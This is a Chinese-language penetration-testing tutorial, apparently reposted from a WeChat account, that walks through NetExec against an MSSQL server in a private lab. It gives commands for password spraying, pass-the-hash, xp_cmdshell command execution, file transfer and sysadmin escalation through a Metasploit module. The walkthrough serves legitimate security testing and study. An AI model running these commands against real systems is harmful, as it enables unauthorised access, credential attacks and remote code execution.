NetExec
NetExec (nxc) 是一款功能强大的网络开发工具,是 CrackMapExec (CME) 的现代继任者,被渗透测试人员和红队成员广泛使用。可被用于多种协议的渗透测试中,本文主要讲起在MSSQL中的使用方式,帮助大家在遇到MSSQL(SQLServer)时能够快速进行后渗透利用
工具链接:
https://github.com/Pennyw0rth/NetExec
工具介绍:
https://www.netexec.wiki/mssql-protocol/mssql-passwordspray
渗透环境
目标机器:Windows 10(192.168.31.126)
攻击者机器:Kali Linux(192.168.31.141)
为了演示工具各项使用,我们将使用 MSSQL 服务来展示所有功能测试。我们已经在目标机器上设置了 MSSQL 服务器,并为正在运行的实例创建了一些用户。
渗透实战
密码喷射
为了检查正确的凭据,我们将创建一个用户名字典 users.txt 和密码字典 pass.txt 。创建字典后,我们可以执行密码喷洒攻击来检查正确的用户名和密码。我们将在 MSSQL 服务器上执行此喷洒。以下是执行此操作的命令:
JavaScript nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success |
要使用本地身份验证执行密码喷洒,我们可以使用 –local-auth 标志,因为它指定应针对 MSSQL 服务器上的本地帐户进行身份验证尝试。
JavaScript nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth |
使用哈希进行密码喷洒
如果我们获得了哈希值,但不确定该哈希值属于哪个用户,我们也可以执行相同的操作。在这里,我们将传递一个用户列表,并在 -H 标志中给出获得的哈希值。
JavaScript nxc mssql 192.168.31.126 -u users.txt -H 64FBAE31CC352FC26AF97CBDEF151E03 --continue-on-success |
如果我们想要以这样的方式执行密码喷洒,即每个用户名只能与列表中的相应密码一起使用,那么我们可以使用 –no-bruteforce 标志。如果用户名-密码对匹配,它将继续,否则它将跳到下一对而不尝试其他可能的组合。
JavaScript nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue - on -success --no- bruteforce |
检查身份验证
我们可以使用两种方法对 MSSQL 进行身份验证,即 windows 或 local ,默认身份验证是 windows。要使用本地身份验证,请在命令中添加以下标志 –local-auth 。这里我们尝试以 sa 用户身份执行本地身份验证。
JavaScript nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth |
如前所述,我们还可以测试 Windows 身份验证。由于默认模式设置为 Windows 身份验证,因此我们不需要提供任何身份验证标志来执行 Windows 身份验证。
JavaScript nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' |
使用 nxc 执行 DB 命令
我们可以使用 nxc 来查询数据库,方法是给出 -q 标志,然后提及数据库查询。执行此操作的命令是:
JavaScript nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;' |
使用 nxc 执行命令
为了执行系统级命令,我们可以使用 -x 标志,该标志使用 MSSQL xp_cmdshell 来执行命令。我们可以根据需要在这里使用 Windows 和本地身份验证。
JavaScript nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -x ipconfig nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' -x ipconfig |
使用哈希执行命令
假设我们以某种方式获得了管理员用户的哈希值,并且我们想要使用 MSSQL 执行系统级命令,那么我们可以使用 nxc 来执行该操作。首先,我们将检查 Windows 身份验证是否成功,然后我们可以给出 -x 标志来执行命令。
JavaScript nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig |
使用 nxc 上传和下载文件
我们还可以使用 nxc 将文件上传到目标系统,通过提供 –put-file 标志,该标志将采用文件名,我们还将提到文件需要上传的路径。
JavaScript nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --put-file file.txt C:\Windows\Temp\file.txt |
可见文件已经成功上传至所需路径。
类似地,我们也可以使用–get-file 标志下载文件 。这里我们需要提到需要下载的文件的完整路径以及文件需要放在我们这边的路径。
JavaScript nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --get-file C:\Windows\Temp\file.txt /tmp/file.txt |
使用 nxc 进行权限提升
在这里,我们将使用nxc 的 mssql_priv 模块检查当前用户是否被允许执行权限提升。我们可以在 -M 标志后明确提及模块名称。在这里,我们将使用 用户raj来检查权限提升。这可以在我们执行Windows 身份验证并尝试权限提升的情况下使用 。命令的输出显示用户 raj 可以模拟 sa 用户。模拟用户意味着暂时假设该用户的身份和权限。
通过添加–local-auth 标志,可以使用本地身份验证重复相同的过程 。
JavaScript nxc mssql 192.168.31.126 -u ignite -p 'Password@1' -M mssql_priv --local-auth |
可以看出,用户 ignite 可以使用本地身份验证模拟用户 sa ,因此我们下一步将执行权限提升。在受害机器中还可以看到 Ignite 用户的属性。
为了执行权限提升,我们将使用 Metasploit 框架。有一个名为 auxiliary/admin/mssql/mssql_escalate_execute_as的 模块,可用于执行权限提升。以下是模块中使用的命令:
JavaScript use auxiliary/admin/mssql/mssql_escalate_execute_as set rhosts 192.168.31.126 set database master set username ignite set password Password@1 exploit |
运行漏洞利用程序后,显示用户 ignite 现在是 sysadmin 。为了检查这一点,我们将再次在 nxc 中运行之前使用的命令。命令的输出显示用户 ignite 已经是 sysadmin 。我们也可以在受害机器中确认用户 ignite 是 sysadmin 。
非默认端口号利用
如果 MSSQL 服务器在不同的端口号上运行,那么我们也可以通过使用–port 标志明确提及端口号来执行相同的测试用例 。
JavaScript nmap -sV -p 9070 192.168.31.126 |
我们可以看到MSSQL服务器在端口9070上运行。因此我们可以执行以下命令:
JavaScript nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --port 9070 |
原文始发于微信公众号(暴暴的皮卡丘):SQLServer(MSSQL) 渗透神器NetExec
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论